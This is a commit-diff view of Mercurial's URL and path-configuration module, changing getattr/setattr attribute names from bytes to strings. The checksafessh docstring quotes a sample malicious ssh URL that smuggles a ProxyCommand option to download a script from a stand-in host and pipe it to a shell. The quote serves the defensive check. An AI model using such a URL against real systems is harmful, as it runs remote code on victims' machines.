##// END OF EJS Templates
safehasattr: pass attribute name as string instead of bytes...
marmoute -
r51508:9e69d9d6 default
parent child Browse files
Show More
@@ -1,962 +1,962 b''
1 1 # utils.urlutil - code related to [paths] management
2 2 #
3 3 # Copyright 2005-2023 Olivia Mackall <olivia@selenic.com> and others
4 4 #
5 5 # This software may be used and distributed according to the terms of the
6 6 # GNU General Public License version 2 or any later version.
7 7 import os
8 8 import re as remod
9 9 import socket
10 10
11 11 from ..i18n import _
12 12 from ..pycompat import (
13 13 getattr,
14 14 setattr,
15 15 )
16 16 from .. import (
17 17 encoding,
18 18 error,
19 19 pycompat,
20 20 urllibcompat,
21 21 )
22 22
23 23 from . import (
24 24 stringutil,
25 25 )
26 26
27 27 from ..revlogutils import (
28 28 constants as revlog_constants,
29 29 )
30 30
31 31
32 32 if pycompat.TYPE_CHECKING:
33 33 from typing import (
34 34 Union,
35 35 )
36 36
37 37 urlreq = urllibcompat.urlreq
38 38
39 39
40 40 def getport(port):
41 41 # type: (Union[bytes, int]) -> int
42 42 """Return the port for a given network service.
43 43
44 44 If port is an integer, it's returned as is. If it's a string, it's
45 45 looked up using socket.getservbyname(). If there's no matching
46 46 service, error.Abort is raised.
47 47 """
48 48 try:
49 49 return int(port)
50 50 except ValueError:
51 51 pass
52 52
53 53 try:
54 54 return socket.getservbyname(pycompat.sysstr(port))
55 55 except socket.error:
56 56 raise error.Abort(
57 57 _(b"no port number associated with service '%s'") % port
58 58 )
59 59
60 60
61 61 class url:
62 62 r"""Reliable URL parser.
63 63
64 64 This parses URLs and provides attributes for the following
65 65 components:
66 66
67 67 <scheme>://<user>:<passwd>@<host>:<port>/<path>?<query>#<fragment>
68 68
69 69 Missing components are set to None. The only exception is
70 70 fragment, which is set to '' if present but empty.
71 71
72 72 If parsefragment is False, fragment is included in query. If
73 73 parsequery is False, query is included in path. If both are
74 74 False, both fragment and query are included in path.
75 75
76 76 See http://www.ietf.org/rfc/rfc2396.txt for more information.
77 77
78 78 Note that for backward compatibility reasons, bundle URLs do not
79 79 take host names. That means 'bundle://../' has a path of '../'.
80 80
81 81 Examples:
82 82
83 83 >>> url(b'http://www.ietf.org/rfc/rfc2396.txt')
84 84 <url scheme: 'http', host: 'www.ietf.org', path: 'rfc/rfc2396.txt'>
85 85 >>> url(b'ssh://[::1]:2200//home/joe/repo')
86 86 <url scheme: 'ssh', host: '[::1]', port: '2200', path: '/home/joe/repo'>
87 87 >>> url(b'file:///home/joe/repo')
88 88 <url scheme: 'file', path: '/home/joe/repo'>
89 89 >>> url(b'file:///c:/temp/foo/')
90 90 <url scheme: 'file', path: 'c:/temp/foo/'>
91 91 >>> url(b'bundle:foo')
92 92 <url scheme: 'bundle', path: 'foo'>
93 93 >>> url(b'bundle://../foo')
94 94 <url scheme: 'bundle', path: '../foo'>
95 95 >>> url(br'c:\foo\bar')
96 96 <url path: 'c:\\foo\\bar'>
97 97 >>> url(br'\\blah\blah\blah')
98 98 <url path: '\\\\blah\\blah\\blah'>
99 99 >>> url(br'\\blah\blah\blah#baz')
100 100 <url path: '\\\\blah\\blah\\blah', fragment: 'baz'>
101 101 >>> url(br'file:///C:\users\me')
102 102 <url scheme: 'file', path: 'C:\\users\\me'>
103 103
104 104 Authentication credentials:
105 105
106 106 >>> url(b'ssh://joe:xyz@x/repo')
107 107 <url scheme: 'ssh', user: 'joe', passwd: 'xyz', host: 'x', path: 'repo'>
108 108 >>> url(b'ssh://joe@x/repo')
109 109 <url scheme: 'ssh', user: 'joe', host: 'x', path: 'repo'>
110 110
111 111 Query strings and fragments:
112 112
113 113 >>> url(b'http://host/a?b#c')
114 114 <url scheme: 'http', host: 'host', path: 'a', query: 'b', fragment: 'c'>
115 115 >>> url(b'http://host/a?b#c', parsequery=False, parsefragment=False)
116 116 <url scheme: 'http', host: 'host', path: 'a?b#c'>
117 117
118 118 Empty path:
119 119
120 120 >>> url(b'')
121 121 <url path: ''>
122 122 >>> url(b'#a')
123 123 <url path: '', fragment: 'a'>
124 124 >>> url(b'http://host/')
125 125 <url scheme: 'http', host: 'host', path: ''>
126 126 >>> url(b'http://host/#a')
127 127 <url scheme: 'http', host: 'host', path: '', fragment: 'a'>
128 128
129 129 Only scheme:
130 130
131 131 >>> url(b'http:')
132 132 <url scheme: 'http'>
133 133 """
134 134
135 135 _safechars = b"!~*'()+"
136 136 _safepchars = b"/!~*'()+:\\"
137 137 _matchscheme = remod.compile(b'^[a-zA-Z0-9+.\\-]+:').match
138 138
139 139 def __init__(self, path, parsequery=True, parsefragment=True):
140 140 # type: (bytes, bool, bool) -> None
141 141 # We slowly chomp away at path until we have only the path left
142 142 self.scheme = self.user = self.passwd = self.host = None
143 143 self.port = self.path = self.query = self.fragment = None
144 144 self._localpath = True
145 145 self._hostport = b''
146 146 self._origpath = path
147 147
148 148 if parsefragment and b'#' in path:
149 149 path, self.fragment = path.split(b'#', 1)
150 150
151 151 # special case for Windows drive letters and UNC paths
152 152 if hasdriveletter(path) or path.startswith(b'\\\\'):
153 153 self.path = path
154 154 return
155 155
156 156 # For compatibility reasons, we can't handle bundle paths as
157 157 # normal URLS
158 158 if path.startswith(b'bundle:'):
159 159 self.scheme = b'bundle'
160 160 path = path[7:]
161 161 if path.startswith(b'//'):
162 162 path = path[2:]
163 163 self.path = path
164 164 return
165 165
166 166 if self._matchscheme(path):
167 167 parts = path.split(b':', 1)
168 168 if parts[0]:
169 169 self.scheme, path = parts
170 170 self._localpath = False
171 171
172 172 if not path:
173 173 path = None
174 174 if self._localpath:
175 175 self.path = b''
176 176 return
177 177 else:
178 178 if self._localpath:
179 179 self.path = path
180 180 return
181 181
182 182 if parsequery and b'?' in path:
183 183 path, self.query = path.split(b'?', 1)
184 184 if not path:
185 185 path = None
186 186 if not self.query:
187 187 self.query = None
188 188
189 189 # // is required to specify a host/authority
190 190 if path and path.startswith(b'//'):
191 191 parts = path[2:].split(b'/', 1)
192 192 if len(parts) > 1:
193 193 self.host, path = parts
194 194 else:
195 195 self.host = parts[0]
196 196 path = None
197 197 if not self.host:
198 198 self.host = None
199 199 # path of file:///d is /d
200 200 # path of file:///d:/ is d:/, not /d:/
201 201 if path and not hasdriveletter(path):
202 202 path = b'/' + path
203 203
204 204 if self.host and b'@' in self.host:
205 205 self.user, self.host = self.host.rsplit(b'@', 1)
206 206 if b':' in self.user:
207 207 self.user, self.passwd = self.user.split(b':', 1)
208 208 if not self.host:
209 209 self.host = None
210 210
211 211 # Don't split on colons in IPv6 addresses without ports
212 212 if (
213 213 self.host
214 214 and b':' in self.host
215 215 and not (
216 216 self.host.startswith(b'[') and self.host.endswith(b']')
217 217 )
218 218 ):
219 219 self._hostport = self.host
220 220 self.host, self.port = self.host.rsplit(b':', 1)
221 221 if not self.host:
222 222 self.host = None
223 223
224 224 if (
225 225 self.host
226 226 and self.scheme == b'file'
227 227 and self.host not in (b'localhost', b'127.0.0.1', b'[::1]')
228 228 ):
229 229 raise error.Abort(
230 230 _(b'file:// URLs can only refer to localhost')
231 231 )
232 232
233 233 self.path = path
234 234
235 235 # leave the query string escaped
236 for a in (b'user', b'passwd', b'host', b'port', b'path', b'fragment'):
236 for a in ('user', 'passwd', 'host', 'port', 'path', 'fragment'):
237 237 v = getattr(self, a)
238 238 if v is not None:
239 239 setattr(self, a, urlreq.unquote(v))
240 240
241 241 def copy(self):
242 242 u = url(b'temporary useless value')
243 243 u.path = self.path
244 244 u.scheme = self.scheme
245 245 u.user = self.user
246 246 u.passwd = self.passwd
247 247 u.host = self.host
248 248 u.port = self.port
249 249 u.query = self.query
250 250 u.fragment = self.fragment
251 251 u._localpath = self._localpath
252 252 u._hostport = self._hostport
253 253 u._origpath = self._origpath
254 254 return u
255 255
256 256 @encoding.strmethod
257 257 def __repr__(self):
258 258 attrs = []
259 259 for a in (
260 260 b'scheme',
261 261 b'user',
262 262 b'passwd',
263 263 b'host',
264 264 b'port',
265 265 b'path',
266 266 b'query',
267 267 b'fragment',
268 268 ):
269 269 v = getattr(self, a)
270 270 if v is not None:
271 271 attrs.append(b'%s: %r' % (a, pycompat.bytestr(v)))
272 272 return b'<url %s>' % b', '.join(attrs)
273 273
274 274 def __bytes__(self):
275 275 r"""Join the URL's components back into a URL string.
276 276
277 277 Examples:
278 278
279 279 >>> bytes(url(b'http://user:pw@host:80/c:/bob?fo:oo#ba:ar'))
280 280 'http://user:pw@host:80/c:/bob?fo:oo#ba:ar'
281 281 >>> bytes(url(b'http://user:pw@host:80/?foo=bar&baz=42'))
282 282 'http://user:pw@host:80/?foo=bar&baz=42'
283 283 >>> bytes(url(b'http://user:pw@host:80/?foo=bar%3dbaz'))
284 284 'http://user:pw@host:80/?foo=bar%3dbaz'
285 285 >>> bytes(url(b'ssh://user:pw@[::1]:2200//home/joe#'))
286 286 'ssh://user:pw@[::1]:2200//home/joe#'
287 287 >>> bytes(url(b'http://localhost:80//'))
288 288 'http://localhost:80//'
289 289 >>> bytes(url(b'http://localhost:80/'))
290 290 'http://localhost:80/'
291 291 >>> bytes(url(b'http://localhost:80'))
292 292 'http://localhost:80/'
293 293 >>> bytes(url(b'bundle:foo'))
294 294 'bundle:foo'
295 295 >>> bytes(url(b'bundle://../foo'))
296 296 'bundle:../foo'
297 297 >>> bytes(url(b'path'))
298 298 'path'
299 299 >>> bytes(url(b'file:///tmp/foo/bar'))
300 300 'file:///tmp/foo/bar'
301 301 >>> bytes(url(b'file:///c:/tmp/foo/bar'))
302 302 'file:///c:/tmp/foo/bar'
303 303 >>> print(url(br'bundle:foo\bar'))
304 304 bundle:foo\bar
305 305 >>> print(url(br'file:///D:\data\hg'))
306 306 file:///D:\data\hg
307 307 """
308 308 if self._localpath:
309 309 s = self.path
310 310 if self.scheme == b'bundle':
311 311 s = b'bundle:' + s
312 312 if self.fragment:
313 313 s += b'#' + self.fragment
314 314 return s
315 315
316 316 s = self.scheme + b':'
317 317 if self.user or self.passwd or self.host:
318 318 s += b'//'
319 319 elif self.scheme and (
320 320 not self.path
321 321 or self.path.startswith(b'/')
322 322 or hasdriveletter(self.path)
323 323 ):
324 324 s += b'//'
325 325 if hasdriveletter(self.path):
326 326 s += b'/'
327 327 if self.user:
328 328 s += urlreq.quote(self.user, safe=self._safechars)
329 329 if self.passwd:
330 330 s += b':' + urlreq.quote(self.passwd, safe=self._safechars)
331 331 if self.user or self.passwd:
332 332 s += b'@'
333 333 if self.host:
334 334 if not (self.host.startswith(b'[') and self.host.endswith(b']')):
335 335 s += urlreq.quote(self.host)
336 336 else:
337 337 s += self.host
338 338 if self.port:
339 339 s += b':' + urlreq.quote(self.port)
340 340 if self.host:
341 341 s += b'/'
342 342 if self.path:
343 343 # TODO: similar to the query string, we should not unescape the
344 344 # path when we store it, the path might contain '%2f' = '/',
345 345 # which we should *not* escape.
346 346 s += urlreq.quote(self.path, safe=self._safepchars)
347 347 if self.query:
348 348 # we store the query in escaped form.
349 349 s += b'?' + self.query
350 350 if self.fragment is not None:
351 351 s += b'#' + urlreq.quote(self.fragment, safe=self._safepchars)
352 352 return s
353 353
354 354 __str__ = encoding.strmethod(__bytes__)
355 355
356 356 def authinfo(self):
357 357 user, passwd = self.user, self.passwd
358 358 try:
359 359 self.user, self.passwd = None, None
360 360 s = bytes(self)
361 361 finally:
362 362 self.user, self.passwd = user, passwd
363 363 if not self.user:
364 364 return (s, None)
365 365 # authinfo[1] is passed to urllib2 password manager, and its
366 366 # URIs must not contain credentials. The host is passed in the
367 367 # URIs list because Python < 2.4.3 uses only that to search for
368 368 # a password.
369 369 return (s, (None, (s, self.host), self.user, self.passwd or b''))
370 370
371 371 def isabs(self):
372 372 if self.scheme and self.scheme != b'file':
373 373 return True # remote URL
374 374 if hasdriveletter(self.path):
375 375 return True # absolute for our purposes - can't be joined()
376 376 if self.path.startswith(br'\\'):
377 377 return True # Windows UNC path
378 378 if self.path.startswith(b'/'):
379 379 return True # POSIX-style
380 380 return False
381 381
382 382 def localpath(self):
383 383 # type: () -> bytes
384 384 if self.scheme == b'file' or self.scheme == b'bundle':
385 385 path = self.path or b'/'
386 386 # For Windows, we need to promote hosts containing drive
387 387 # letters to paths with drive letters.
388 388 if hasdriveletter(self._hostport):
389 389 path = self._hostport + b'/' + self.path
390 390 elif (
391 391 self.host is not None and self.path and not hasdriveletter(path)
392 392 ):
393 393 path = b'/' + path
394 394 return path
395 395 return self._origpath
396 396
397 397 def islocal(self):
398 398 '''whether localpath will return something that posixfile can open'''
399 399 return (
400 400 not self.scheme
401 401 or self.scheme == b'file'
402 402 or self.scheme == b'bundle'
403 403 )
404 404
405 405
406 406 def hasscheme(path):
407 407 # type: (bytes) -> bool
408 408 return bool(url(path).scheme) # cast to help pytype
409 409
410 410
411 411 def hasdriveletter(path):
412 412 # type: (bytes) -> bool
413 413 return bool(path) and path[1:2] == b':' and path[0:1].isalpha()
414 414
415 415
416 416 def urllocalpath(path):
417 417 # type: (bytes) -> bytes
418 418 return url(path, parsequery=False, parsefragment=False).localpath()
419 419
420 420
421 421 def checksafessh(path):
422 422 # type: (bytes) -> None
423 423 """check if a path / url is a potentially unsafe ssh exploit (SEC)
424 424
425 425 This is a sanity check for ssh urls. ssh will parse the first item as
426 426 an option; e.g. ssh://-oProxyCommand=curl${IFS}bad.server|sh/path.
427 427 Let's prevent these potentially exploited urls entirely and warn the
428 428 user.
429 429
430 430 Raises an error.Abort when the url is unsafe.
431 431 """
432 432 path = urlreq.unquote(path)
433 433 if path.startswith(b'ssh://-') or path.startswith(b'svn+ssh://-'):
434 434 raise error.Abort(
435 435 _(b'potentially unsafe url: %r') % (pycompat.bytestr(path),)
436 436 )
437 437
438 438
439 439 def hidepassword(u):
440 440 # type: (bytes) -> bytes
441 441 '''hide user credential in a url string'''
442 442 u = url(u)
443 443 if u.passwd:
444 444 u.passwd = b'***'
445 445 return bytes(u)
446 446
447 447
448 448 def removeauth(u):
449 449 # type: (bytes) -> bytes
450 450 '''remove all authentication information from a url string'''
451 451 u = url(u)
452 452 u.user = u.passwd = None
453 453 return bytes(u)
454 454
455 455
456 456 def list_paths(ui, target_path=None):
457 457 """list all the (name, paths) in the passed ui"""
458 458 result = []
459 459 if target_path is None:
460 460 for name, paths in sorted(ui.paths.items()):
461 461 for p in paths:
462 462 result.append((name, p))
463 463
464 464 else:
465 465 for path in ui.paths.get(target_path, []):
466 466 result.append((target_path, path))
467 467 return result
468 468
469 469
470 470 def try_path(ui, url):
471 471 """try to build a path from a url
472 472
473 473 Return None if no Path could built.
474 474 """
475 475 try:
476 476 # we pass the ui instance are warning might need to be issued
477 477 return path(ui, None, rawloc=url)
478 478 except ValueError:
479 479 return None
480 480
481 481
482 482 def get_push_paths(repo, ui, dests):
483 483 """yields all the `path` selected as push destination by `dests`"""
484 484 if not dests:
485 485 if b'default-push' in ui.paths:
486 486 for p in ui.paths[b'default-push']:
487 487 yield p.get_push_variant()
488 488 elif b'default' in ui.paths:
489 489 for p in ui.paths[b'default']:
490 490 yield p.get_push_variant()
491 491 else:
492 492 raise error.ConfigError(
493 493 _(b'default repository not configured!'),
494 494 hint=_(b"see 'hg help config.paths'"),
495 495 )
496 496 else:
497 497 for dest in dests:
498 498 if dest in ui.paths:
499 499 for p in ui.paths[dest]:
500 500 yield p.get_push_variant()
501 501 else:
502 502 path = try_path(ui, dest)
503 503 if path is None:
504 504 msg = _(b'repository %s does not exist')
505 505 msg %= dest
506 506 raise error.RepoError(msg)
507 507 yield path.get_push_variant()
508 508
509 509
510 510 def get_pull_paths(repo, ui, sources):
511 511 """yields all the `(path, branch)` selected as pull source by `sources`"""
512 512 if not sources:
513 513 sources = [b'default']
514 514 for source in sources:
515 515 if source in ui.paths:
516 516 for p in ui.paths[source]:
517 517 yield p
518 518 else:
519 519 p = path(ui, None, source, validate_path=False)
520 520 yield p
521 521
522 522
523 523 def get_unique_push_path(action, repo, ui, dest=None):
524 524 """return a unique `path` or abort if multiple are found
525 525
526 526 This is useful for command and action that does not support multiple
527 527 destination (yet).
528 528
529 529 The `action` parameter will be used for the error message.
530 530 """
531 531 if dest is None:
532 532 dests = []
533 533 else:
534 534 dests = [dest]
535 535 dests = list(get_push_paths(repo, ui, dests))
536 536 if len(dests) != 1:
537 537 if dest is None:
538 538 msg = _(
539 539 b"default path points to %d urls while %s only supports one"
540 540 )
541 541 msg %= (len(dests), action)
542 542 else:
543 543 msg = _(b"path points to %d urls while %s only supports one: %s")
544 544 msg %= (len(dests), action, dest)
545 545 raise error.Abort(msg)
546 546 return dests[0]
547 547
548 548
549 549 def get_unique_pull_path_obj(action, ui, source=None):
550 550 """return a unique `(path, branch)` or abort if multiple are found
551 551
552 552 This is useful for command and action that does not support multiple
553 553 destination (yet).
554 554
555 555 The `action` parameter will be used for the error message.
556 556
557 557 note: Ideally, this function would be called `get_unique_pull_path` to
558 558 mirror the `get_unique_push_path`, but the name was already taken.
559 559 """
560 560 sources = []
561 561 if source is not None:
562 562 sources.append(source)
563 563
564 564 pull_paths = list(get_pull_paths(None, ui, sources=sources))
565 565 path_count = len(pull_paths)
566 566 if path_count != 1:
567 567 if source is None:
568 568 msg = _(
569 569 b"default path points to %d urls while %s only supports one"
570 570 )
571 571 msg %= (path_count, action)
572 572 else:
573 573 msg = _(b"path points to %d urls while %s only supports one: %s")
574 574 msg %= (path_count, action, source)
575 575 raise error.Abort(msg)
576 576 return pull_paths[0]
577 577
578 578
579 579 def get_unique_pull_path(action, repo, ui, source=None, default_branches=()):
580 580 """return a unique `(url, branch)` or abort if multiple are found
581 581
582 582 See `get_unique_pull_path_obj` for details.
583 583 """
584 584 path = get_unique_pull_path_obj(action, ui, source=source)
585 585 return parseurl(path.rawloc, default_branches)
586 586
587 587
588 588 def get_clone_path_obj(ui, source):
589 589 """return the `(origsource, url, branch)` selected as clone source"""
590 590 if source == b'':
591 591 return None
592 592 return get_unique_pull_path_obj(b'clone', ui, source=source)
593 593
594 594
595 595 def get_clone_path(ui, source, default_branches=None):
596 596 """return the `(origsource, url, branch)` selected as clone source"""
597 597 path = get_clone_path_obj(ui, source)
598 598 if path is None:
599 599 return (b'', b'', (None, default_branches))
600 600 if default_branches is None:
601 601 default_branches = []
602 602 branches = (path.branch, default_branches)
603 603 return path.rawloc, path.loc, branches
604 604
605 605
606 606 def parseurl(path, branches=None):
607 607 '''parse url#branch, returning (url, (branch, branches))'''
608 608 u = url(path)
609 609 branch = None
610 610 if u.fragment:
611 611 branch = u.fragment
612 612 u.fragment = None
613 613 return bytes(u), (branch, branches or [])
614 614
615 615
616 616 class paths(dict):
617 617 """Represents a collection of paths and their configs.
618 618
619 619 Data is initially derived from ui instances and the config files they have
620 620 loaded.
621 621 """
622 622
623 623 def __init__(self, ui):
624 624 dict.__init__(self)
625 625
626 626 home_path = os.path.expanduser(b'~')
627 627
628 628 for name, value in ui.configitems(b'paths', ignoresub=True):
629 629 # No location is the same as not existing.
630 630 if not value:
631 631 continue
632 632 _value, sub_opts = ui.configsuboptions(b'paths', name)
633 633 s = ui.configsource(b'paths', name)
634 634 root_key = (name, value, s)
635 635 root = ui._path_to_root.get(root_key, home_path)
636 636
637 637 multi_url = sub_opts.get(b'multi-urls')
638 638 if multi_url is not None and stringutil.parsebool(multi_url):
639 639 base_locs = stringutil.parselist(value)
640 640 else:
641 641 base_locs = [value]
642 642
643 643 paths = []
644 644 for loc in base_locs:
645 645 loc = os.path.expandvars(loc)
646 646 loc = os.path.expanduser(loc)
647 647 if not hasscheme(loc) and not os.path.isabs(loc):
648 648 loc = os.path.normpath(os.path.join(root, loc))
649 649 p = path(ui, name, rawloc=loc, suboptions=sub_opts)
650 650 paths.append(p)
651 651 self[name] = paths
652 652
653 653 for name, old_paths in sorted(self.items()):
654 654 new_paths = []
655 655 for p in old_paths:
656 656 new_paths.extend(_chain_path(p, ui, self))
657 657 self[name] = new_paths
658 658
659 659
660 660 _pathsuboptions = {}
661 661
662 662
663 663 def pathsuboption(option, attr):
664 664 """Decorator used to declare a path sub-option.
665 665
666 666 Arguments are the sub-option name and the attribute it should set on
667 667 ``path`` instances.
668 668
669 669 The decorated function will receive as arguments a ``ui`` instance,
670 670 ``path`` instance, and the string value of this option from the config.
671 671 The function should return the value that will be set on the ``path``
672 672 instance.
673 673
674 674 This decorator can be used to perform additional verification of
675 675 sub-options and to change the type of sub-options.
676 676 """
677 677
678 678 def register(func):
679 679 _pathsuboptions[option] = (attr, func)
680 680 return func
681 681
682 682 return register
683 683
684 684
685 685 @pathsuboption(b'pushurl', b'_pushloc')
686 686 def pushurlpathoption(ui, path, value):
687 687 u = url(value)
688 688 # Actually require a URL.
689 689 if not u.scheme:
690 690 msg = _(b'(paths.%s:pushurl not a URL; ignoring: "%s")\n')
691 691 msg %= (path.name, value)
692 692 ui.warn(msg)
693 693 return None
694 694
695 695 # Don't support the #foo syntax in the push URL to declare branch to
696 696 # push.
697 697 if u.fragment:
698 698 ui.warn(
699 699 _(
700 700 b'("#fragment" in paths.%s:pushurl not supported; '
701 701 b'ignoring)\n'
702 702 )
703 703 % path.name
704 704 )
705 705 u.fragment = None
706 706
707 707 return bytes(u)
708 708
709 709
710 710 @pathsuboption(b'pushrev', b'pushrev')
711 711 def pushrevpathoption(ui, path, value):
712 712 return value
713 713
714 714
715 715 SUPPORTED_BOOKMARKS_MODES = {
716 716 b'default',
717 717 b'mirror',
718 718 b'ignore',
719 719 }
720 720
721 721
722 722 @pathsuboption(b'bookmarks.mode', b'bookmarks_mode')
723 723 def bookmarks_mode_option(ui, path, value):
724 724 if value not in SUPPORTED_BOOKMARKS_MODES:
725 725 path_name = path.name
726 726 if path_name is None:
727 727 # this is an "anonymous" path, config comes from the global one
728 728 path_name = b'*'
729 729 msg = _(b'(paths.%s:bookmarks.mode has unknown value: "%s")\n')
730 730 msg %= (path_name, value)
731 731 ui.warn(msg)
732 732 if value == b'default':
733 733 value = None
734 734 return value
735 735
736 736
737 737 DELTA_REUSE_POLICIES = {
738 738 b'default': None,
739 739 b'try-base': revlog_constants.DELTA_BASE_REUSE_TRY,
740 740 b'no-reuse': revlog_constants.DELTA_BASE_REUSE_NO,
741 741 b'forced': revlog_constants.DELTA_BASE_REUSE_FORCE,
742 742 }
743 743
744 744
745 745 @pathsuboption(b'pulled-delta-reuse-policy', b'delta_reuse_policy')
746 746 def delta_reuse_policy(ui, path, value):
747 747 if value not in DELTA_REUSE_POLICIES:
748 748 path_name = path.name
749 749 if path_name is None:
750 750 # this is an "anonymous" path, config comes from the global one
751 751 path_name = b'*'
752 752 msg = _(
753 753 b'(paths.%s:pulled-delta-reuse-policy has unknown value: "%s")\n'
754 754 )
755 755 msg %= (path_name, value)
756 756 ui.warn(msg)
757 757 return DELTA_REUSE_POLICIES.get(value)
758 758
759 759
760 760 @pathsuboption(b'multi-urls', b'multi_urls')
761 761 def multiurls_pathoption(ui, path, value):
762 762 res = stringutil.parsebool(value)
763 763 if res is None:
764 764 ui.warn(
765 765 _(b'(paths.%s:multi-urls not a boolean; ignoring)\n') % path.name
766 766 )
767 767 res = False
768 768 return res
769 769
770 770
771 771 def _chain_path(base_path, ui, paths):
772 772 """return the result of "path://" logic applied on a given path"""
773 773 new_paths = []
774 774 if base_path.url.scheme != b'path':
775 775 new_paths.append(base_path)
776 776 else:
777 777 assert base_path.url.path is None
778 778 sub_paths = paths.get(base_path.url.host)
779 779 if sub_paths is None:
780 780 m = _(b'cannot use `%s`, "%s" is not a known path')
781 781 m %= (base_path.rawloc, base_path.url.host)
782 782 raise error.Abort(m)
783 783 for subpath in sub_paths:
784 784 path = base_path.copy()
785 785 if subpath.raw_url.scheme == b'path':
786 786 m = _(b'cannot use `%s`, "%s" is also defined as a `path://`')
787 787 m %= (path.rawloc, path.url.host)
788 788 raise error.Abort(m)
789 789 path.url = subpath.url
790 790 path.rawloc = subpath.rawloc
791 791 path.loc = subpath.loc
792 792 if path.branch is None:
793 793 path.branch = subpath.branch
794 794 else:
795 795 base = path.rawloc.rsplit(b'#', 1)[0]
796 796 path.rawloc = b'%s#%s' % (base, path.branch)
797 797 suboptions = subpath._all_sub_opts.copy()
798 798 suboptions.update(path._own_sub_opts)
799 799 path._apply_suboptions(ui, suboptions)
800 800 new_paths.append(path)
801 801 return new_paths
802 802
803 803
804 804 class path:
805 805 """Represents an individual path and its configuration."""
806 806
807 807 def __init__(
808 808 self,
809 809 ui=None,
810 810 name=None,
811 811 rawloc=None,
812 812 suboptions=None,
813 813 validate_path=True,
814 814 ):
815 815 """Construct a path from its config options.
816 816
817 817 ``ui`` is the ``ui`` instance the path is coming from.
818 818 ``name`` is the symbolic name of the path.
819 819 ``rawloc`` is the raw location, as defined in the config.
820 820 ``_pushloc`` is the raw locations pushes should be made to.
821 821 (see the `get_push_variant` method)
822 822
823 823 If ``name`` is not defined, we require that the location be a) a local
824 824 filesystem path with a .hg directory or b) a URL. If not,
825 825 ``ValueError`` is raised.
826 826 """
827 827 if ui is None:
828 828 # used in copy
829 829 assert name is None
830 830 assert rawloc is None
831 831 assert suboptions is None
832 832 return
833 833
834 834 if not rawloc:
835 835 raise ValueError(b'rawloc must be defined')
836 836
837 837 self.name = name
838 838
839 839 # set by path variant to point to their "non-push" version
840 840 self.main_path = None
841 841 self._setup_url(rawloc)
842 842
843 843 if validate_path:
844 844 self._validate_path()
845 845
846 846 _path, sub_opts = ui.configsuboptions(b'paths', b'*')
847 847 self._own_sub_opts = {}
848 848 if suboptions is not None:
849 849 self._own_sub_opts = suboptions.copy()
850 850 sub_opts.update(suboptions)
851 851 self._all_sub_opts = sub_opts.copy()
852 852
853 853 self._apply_suboptions(ui, sub_opts)
854 854
855 855 def _setup_url(self, rawloc):
856 856 # Locations may define branches via syntax <base>#<branch>.
857 857 u = url(rawloc)
858 858 branch = None
859 859 if u.fragment:
860 860 branch = u.fragment
861 861 u.fragment = None
862 862
863 863 self.url = u
864 864 # the url from the config/command line before dealing with `path://`
865 865 self.raw_url = u.copy()
866 866 self.branch = branch
867 867
868 868 self.rawloc = rawloc
869 869 self.loc = b'%s' % u
870 870
871 871 def copy(self, new_raw_location=None):
872 872 """make a copy of this path object
873 873
874 874 When `new_raw_location` is set, the new path will point to it.
875 875 This is used by the scheme extension so expand the scheme.
876 876 """
877 877 new = self.__class__()
878 878 for k, v in self.__dict__.items():
879 879 new_copy = getattr(v, 'copy', None)
880 880 if new_copy is not None:
881 881 v = new_copy()
882 882 new.__dict__[k] = v
883 883 if new_raw_location is not None:
884 884 new._setup_url(new_raw_location)
885 885 return new
886 886
887 887 @property
888 888 def is_push_variant(self):
889 889 """is this a path variant to be used for pushing"""
890 890 return self.main_path is not None
891 891
892 892 def get_push_variant(self):
893 893 """get a "copy" of the path, but suitable for pushing
894 894
895 895 This means using the value of the `pushurl` option (if any) as the url.
896 896
897 897 The original path is available in the `main_path` attribute.
898 898 """
899 899 if self.main_path:
900 900 return self
901 901 new = self.copy()
902 902 new.main_path = self
903 903 if self._pushloc:
904 904 new._setup_url(self._pushloc)
905 905 return new
906 906
907 907 def pushloc(self):
908 908 """compatibility layer for the deprecated attributes"""
909 909 from .. import util # avoid a cycle
910 910
911 911 msg = "don't use path.pushloc, use path.get_push_variant()"
912 912 util.nouideprecwarn(msg, b"6.5")
913 913 return self._pushloc
914 914
915 915 def _validate_path(self):
916 916 # When given a raw location but not a symbolic name, validate the
917 917 # location is valid.
918 918 if (
919 919 not self.name
920 920 and not self.url.scheme
921 921 and not self._isvalidlocalpath(self.loc)
922 922 ):
923 923 raise ValueError(
924 924 b'location is not a URL or path to a local '
925 925 b'repo: %s' % self.rawloc
926 926 )
927 927
928 928 def _apply_suboptions(self, ui, sub_options):
929 929 # Now process the sub-options. If a sub-option is registered, its
930 930 # attribute will always be present. The value will be None if there
931 931 # was no valid sub-option.
932 932 for suboption, (attr, func) in _pathsuboptions.items():
933 933 if suboption not in sub_options:
934 934 setattr(self, attr, None)
935 935 continue
936 936
937 937 value = func(ui, self, sub_options[suboption])
938 938 setattr(self, attr, value)
939 939
940 940 def _isvalidlocalpath(self, path):
941 941 """Returns True if the given path is a potentially valid repository.
942 942 This is its own function so that extensions can change the definition of
943 943 'valid' in this case (like when pulling from a git repo into a hg
944 944 one)."""
945 945 try:
946 946 return os.path.isdir(os.path.join(path, b'.hg'))
947 947 # Python 2 may return TypeError. Python 3, ValueError.
948 948 except (TypeError, ValueError):
949 949 return False
950 950
951 951 @property
952 952 def suboptions(self):
953 953 """Return sub-options and their values for this path.
954 954
955 955 This is intended to be used for presentation purposes.
956 956 """
957 957 d = {}
958 958 for subopt, (attr, _func) in _pathsuboptions.items():
959 959 value = getattr(self, attr)
960 960 if value is not None:
961 961 d[subopt] = value
962 962 return d
General Comments 0
You need to be logged in to leave comments. Login now